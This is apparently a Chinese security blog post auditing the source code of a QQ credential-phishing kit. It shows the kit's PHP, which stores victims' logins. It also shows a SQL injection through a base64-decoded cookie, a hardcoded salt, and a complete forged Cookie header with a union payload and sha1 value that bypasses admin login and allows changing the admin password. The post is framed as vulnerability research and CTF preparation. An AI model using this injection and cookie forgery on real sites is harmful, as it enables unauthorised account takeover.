前言
今天群里有位表哥发了一个钓鱼网站,另一位表哥又说有漏洞,于是就找他要到了源码,并且提供了一些思路,因为代码量比较少,所以我就通读了。
开始审计
首先看了一下目录结构,发现只有两个目录还有一些文件
目录结构
存在一个防注入的360webscan,而且对于数据库操作都对传入的参数使用了addslashes函数过滤,并且用单引号包裹,比较难受,于是把重点放到了urldecode和base64_decode函数上,因为数据在经过加密之后,是可以绕过waf的
xff注入测试
因为在上一个钓鱼的站,存在xff注入,这个是2018(可能是2017的升级版),所以重点测试了一下这里,首先看传入参数的文件,2018.php
<?php
require_once './include/common.php';
$realip=real_ip();
$ipcount=$DB->count("SELECT count(*) from fish_user where ip='$realip'");
if($ipcount<3){
$username=daddslashes($_POST['user']);
$password=daddslashes($_POST['pass']);
$address=getCity($realip);
$time=date("Y-m-d H:i:s");
$ua=$_SERVER['HTTP_USER_AGENT'];
$device=get_device($ua);
$sql="INSERT INTO `fish_user`(`username`, `password`, `ip`, `address`, `time`, `device`) VALUES ('{$username}','{$password}','{$realip}','{$address}','{$time}','{$device}')";
$DB->query($sql);
//在这里他完成写文件之后进行跳转
header("Location: https://i.qq.com/?rd=".$username);
}
else
{
//在这里他完成写文件之后进行跳转
header("Location: https://i.qq.com/?rd=".$username);
}
?>
跟踪一下real_ip()
function real_ip() {
$ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$list = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$ip = $list[0];
}
if (!ip2long($ip)) {
$ip = '';
}
return $ip;
}
发现使用了ip2long函数进行过滤
base64_decode函数
在include/member.php下
<?php
if(!defined('IN_CRONLITE'))exit();
if(isset($_COOKIE["islogin"])){
if($_COOKIE["admin_user"]){
$admin_user=base64_decode($_COOKIE['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if($udata['username']==''){
setcookie("islogin", "", time() - 604800);
setcookie("admin_user", "", time() - 604800);
setcookie("admin_pass", "", time() - 604800);
}
$admin_pass=sha1($udata['password'].LOGIN_KEY);
if($admin_pass==$_COOKIE["admin_pass"]){
$islogin=1;
}else{
setcookie("islogin", "", time() - 604800);
setcookie("admin_user", "", time() - 604800);
setcookie("admin_pass", "", time() - 604800);
}
}
}
if(isset($_SESSION['islogin'])){
if($_SESSION["admin_user"]){
$admin_user=base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass=sha1($udata['password'].LOGIN_KEY);
if($admin_pass==$_SESSION["admin_pass"]){
$islogin=1;
}
}
}
?>
发现这里对于cookie参数使用了base64_decode函数,看一下后面的逻辑解码之后直接放出查询,这里可以使用时间注入,直接将payload base64加密就行了。
构造绕过
下面判断sql查询返回的username是否为空,不为空的话将查询回来的password加盐后进行sha1加密,与cookie中的admin_pass进行比较,跟踪了一下盐,发现在代码中存在
<?php
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
define('IN_CRONLITE', true);
define('ROOT', dirname(__FILE__).'/');
define('LOGIN_KEY', 'abchdbb768541');
date_default_timezone_set("PRC");
$date = date("Y-m-d H:i:s");
session_start();
if(is_file(ROOT.'360safe/360webscan.php')){//360网站卫士
require_once(ROOT.'360safe/360webscan.php');
}
include ROOT.'../config.php';
if(!isset($port))$port='3306';
//连接数据库
include_once(ROOT."db.class.php");
$DB=new DB($host,$user,$pwd,$dbname,$port);
$password_hash='!@#%!s!';
include ROOT."function.php";
include ROOT."member.php";
include ROOT."os.php";
include ROOT."kill.intercept.php";
?>
所以可以构造联合注入,payload ’ union select 1,1,1,1,1,1#
base64加密后 JyB1bmlvbiBzZWxlY3QgMSwxLDEsMSwxLDEj
把1abchdbb768541进行sha1加密后05b2d871710e7871de3193152c978fa60052ec1d
构造cookie
Cookie: PHPSESSID=1111111111111111111111; islogin=1; admin_user=JyB1bmlvbiBzZWxlY3QgMSwxLDEsMSwxLDEj; admin_pass=05b2d871710e7871de3193152c978fa60052ec1d
修改管理密码
<?php
include("../include/common.php");
if($islogin==1){}else exit("<script language='javascript'>window.location.href='./login.php';</script>"); if(isset($_POST['data'])){
$name=daddslashes($_POST['name']);
$qq=daddslashes($_POST['qq']);
$sql="update fish_admin set name='$name',qq='$qq' where id='{$udata['id']}';";
$DB->query($sql);
exit("<script language='javascript'>alert('资料修改成功!');window.location.href='./modify.php';</script>");
}else if(isset($_POST['passwd'])){
$oldpass=daddslashes($_POST['oldpass']);
if($udata['password'] == md5($oldpass)){
$newpass=daddslashes($_POST['newpass']);
$checkpass=daddslashes($_POST['checkpass']);
if($newpass==$checkpass){
if($newpass==''){exit("<script language='javascript'>alert('新密码不允许为空!');history.go(-1);</script>");}
$newpass=md5($newpass);
$sql="update fish_admin set password='$newpass' where id='{$udata['id']}';";
$DB->query($sql);
setcookie("islogin", "", time() - 604800);
setcookie("admin_user", "", time() - 604800);
setcookie("admin_pass", "", time() - 604800);
unset($_SESSION['islogin']);
unset($_SESSION['admin_user']);
unset($_SESSION['admin_pass']);
exit("<script language='javascript'>alert('您的密码已修改成功,请使用新密码重新登陆!');window.location.href='./login.php';</script>");
}else{
exit("<script language='javascript'>alert('两次密码输入不一致,验证新密码失败!');history.go(-1);</script>");
}
}else{
exit("<script language='javascript'>alert('旧密码不正确!');history.go(-1);</script>");
}
}
?>
<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="utf-8"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>修改密码</title>
</head>
<body>
<table width="100%" border="0" cellspacing="1" cellpadding="2" align="center" bgcolor="0071bc">
<tr bgcolor="#EEEEEE" align="center"><td height="21"><a href="index.php">数据查看</a></td><td bgcolor="#EEEEEE"><a href="pass.php">修改密码</a></td><td height="21"><a href="http://wpa.qq.com/msgrd?v=3&uin=2846998494&site=qq&menu=yes">联系客服</a></td><td height="21"><a href="login.php?logout">退出登录</a></td></tr>
</table>
<form class="js-validation-bootstrap" action="pass.php" method="post" novalidate="novalidate">
<div class="input-group">
<span class="input-group-addon"><span class="glyphicon glyphicon-lock"></span></span>
</br>
<input type="text" name="oldpass" id="password" class="form-control" placeholder="请输入旧密码" required="required"/>
</div><br/>
<div class="input-group">
<span class="input-group-addon"><span class="glyphicon glyphicon-lock"></span></span>
<input type="text" name="newpass" id="password" class="form-control" placeholder="请输入新密码" required="required"/>
</div><br/>
<div class="input-group">
<span class="input-group-addon"><span class="glyphicon glyphicon-lock"></span></span>
<input type="text" name="checkpass" id="password" class="form-control" placeholder="请确认新密码" required="required"/>
</div><br/>
<div class="form-group">
<div class="col-xs-14"><input name="passwd" type="submit" value="确定修改" class="btn btn-primary form-control"/></div>
</body>
</html>
可以看到在修改密码的时候,对比的全都是数据库中返回的结果,这里数据库返回的结果我们是可控的,把对应字段输出修改一下,把password字段修改为任意md5值,输入新密码即可完成管理密码修改,这里演示一下修改qq的操作,修改管理密码可以自行构造
结束
把这个后台简单修改了一下,搭个环境,准备留着当题用。